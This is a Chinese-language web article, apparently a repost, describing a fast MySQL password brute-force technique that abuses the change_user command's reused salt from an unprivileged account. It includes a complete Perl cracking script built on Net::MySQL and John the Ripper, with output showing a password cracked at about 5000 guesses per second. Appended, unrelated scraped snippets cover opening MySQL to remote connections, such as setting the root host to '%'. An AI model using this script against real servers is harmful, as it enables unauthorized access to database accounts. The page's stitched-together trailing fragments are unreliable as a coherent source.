快速高效的破解MySQL本地和远程密码

http://www.kankanews.com/ICkengine/archives/212.shtml



  快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

  我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

  方法如下:

  攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

  是什么导致非常慢?

  因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

  下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

  测试的用户是 crackme 密码为 pass,只需数秒就可破解。

  (大约 20 秒钟可测试 10 万密码)

  测试脚本如下:
use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
hostname => ’192.168.2.3′,
database => ‘test’,
user     => “user”,
password => “secret”,
debug => 0,
);

$crackuser = “crackme”;

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join “”,
        $crackuser,
        “\x14″.
        Net::MySQL::Password->scramble(
            $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
        ) . “”;
if ($mysql->_execute_command(“\x11″, $vv) ne undef) {
    print “[*] Cracked! –> $currentpass\n”;
    exit;
}
}

  下面是我这台机器上的执行结果:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

hn –incremental –stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! –> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs

Session aborted

No tags for this post.

除非注明,本站文章均为原创或编译,转载请注明: 文章来自KENGINE | Kankanews.com

时间: 2024-08-30 04:20:35

快速高效的破解MySQL本地和远程密码的相关文章

解决MySql本地能访问,远程不能访问的问题

本地能够连接mysql,为何远程连接不上mysql呢?这是因为默认安装的mysql,出于安全考虑,只能本地连接.如果您需要远程连接,这里就需要设置一下mysql的权限表.具体设置的步骤如下: 1.在MySql本机连接mysql. 2.执行以下mysql命令: use mysql                #打开mysql数据库 #将host设置为%表示任何ip都能连接mysql,当然您也可以将host指定为某个ip update user set host='%' where user='r

MySQL本地可以连接,远程连接不上的问题

之前遇到过MySQL本地可以连接但是远程连不上的问题,没有记录,今天在ucloud云上新申请的服务器上又遇到这个问题,记录一下解决过程. 1. 排除网络或防火墙问题 先看是否能ping通远程服务器,ping 192.168.1.211,如果不可以就是网络问题.然后,检查端口是否被防火墙挡住了,telnet 192.168.1.211 3306,如果连接失败,配置防火墙. 配置防火墙,开启3306端口 vi /etc/sysconfig/iptables -A INPUT -m state –st

MySQL本地可以连接,远程连接不上的解决

1.原因分析 在服务器上安装好了mysql server.启动服务之后,通过 mysql -u 用户名 -p 密码,可以正常的连接,但是在其他的机器上连接不上. 出现这种问题的原因可能有两点: mysql安装好后,默认只对127.0.0.1的本机开放,没有对远程的主机开放. 解决办法: (1)找到默认的mysql的配置文件,一般为 /etc/mysql/my.cnf 或者 /etc/my.conf (2)找到 bind-address=  这个选项 ,修改为  bind-address = 0.

MySQL登陆关闭、密码修改破解

################################################################################## 启动关闭和登陆 ################################################################################## 1单实例 mysqld_safe --user=mysql &  #启动服务 mysqladmin -uroot -pwsyht shutdown  #

MySQL 数据库实现远程连接

1,刚开始我使用的是Navicat for MySQL工具连接远程的mysql的数据库. 报错了.报错信息是 Error 1130: Host '192.168.1.80' is not allowed to connect to this MySQL server. 我查询网上的解决方法共有两种: a. 该表法.可能是你的账号不允许从远程登陆,只能在localhost.这个时候只要在localhost的那台电脑,登录mysql后,更改“mysql”数据库里的'user'表的"host"

Hive的三种安装方式(内嵌模式,本地模式远程模式)

一.安装模式介绍:     Hive官网上介绍了Hive的3种安装方式,分别对应不同的应用场景.     1.内嵌模式(元数据保村在内嵌的derby种,允许一个会话链接,尝试多个会话链接时会报错)     2.本地模式(本地安装mysql 替代derby存储元数据)     3.远程模式(远程安装mysql 替代derby存储元数据) 二.安装环境以及前提说明:     首先,Hive是依赖于hadoop系统的,因此在运行Hive之前需要保证已经搭建好hadoop集群环境.     本文中使用的

mysql如何开启远程连接(默认未开启,即使密码正确,仍然无法访问)

mysql如何开启远程连接 | 浏览:1846 | 更新:2015-03-11 20:19 1 2 3 4 5 6 分步阅读 百度经验:jingyan.baidu.com 大家在公司工作中,经常会遇到mysql数据库存储于某个人的电脑上,大家要想连接mysql服务,装有mysql服务的电脑就必须开启远程连接. 百度经验:jingyan.baidu.com 工具/原料 mysql windows 百度经验:jingyan.baidu.com 方法/步骤 1 使用“Ctrl + R”组合键快速打开c

mysql不能链接远程,报(Host &#39;***.***.***.***&#39; is not allowed to connect to this MySQL server)

Host '***.***.***.***' is not allowed to connect to this MySQL server 其中***...是本机公网ip; 解决办法: 首先看报错窗口. 经查阅,错误原因是:本地IP(xxx.xxx.xxx.xxx)没有访问远程数据库的权限. 于是下面开启本地IP(xxx.xxx.xxx.xxx)对远程mysql数据库的访问权限. 首先远程连接进入服务器,在cms中输入mysql -u root -p,然后回车,输入密码后回车进入mysql命令行

服务器租用之谈谈mysql怎么开启远程登录功能

服务器租用之谈谈mysql怎么开启远程登录功能 做网站,要经常更新数据库,接触的数据库肯定都是mysql.有时候建站的时候因为数据库和网站放在不同的IP,这个时候就需要用程序进行mysql的远程连接,而mysql因为安全的因素,默认的时候用户设置的是不能远程连接,只能本地连接,这个时候就需要自己去修改其中的设置.下面小编就介绍一下操作方法. 进入cmd命令模式.mysql -h localhost-u mysql -pEnter password: ****** 连接数据库.mysql> use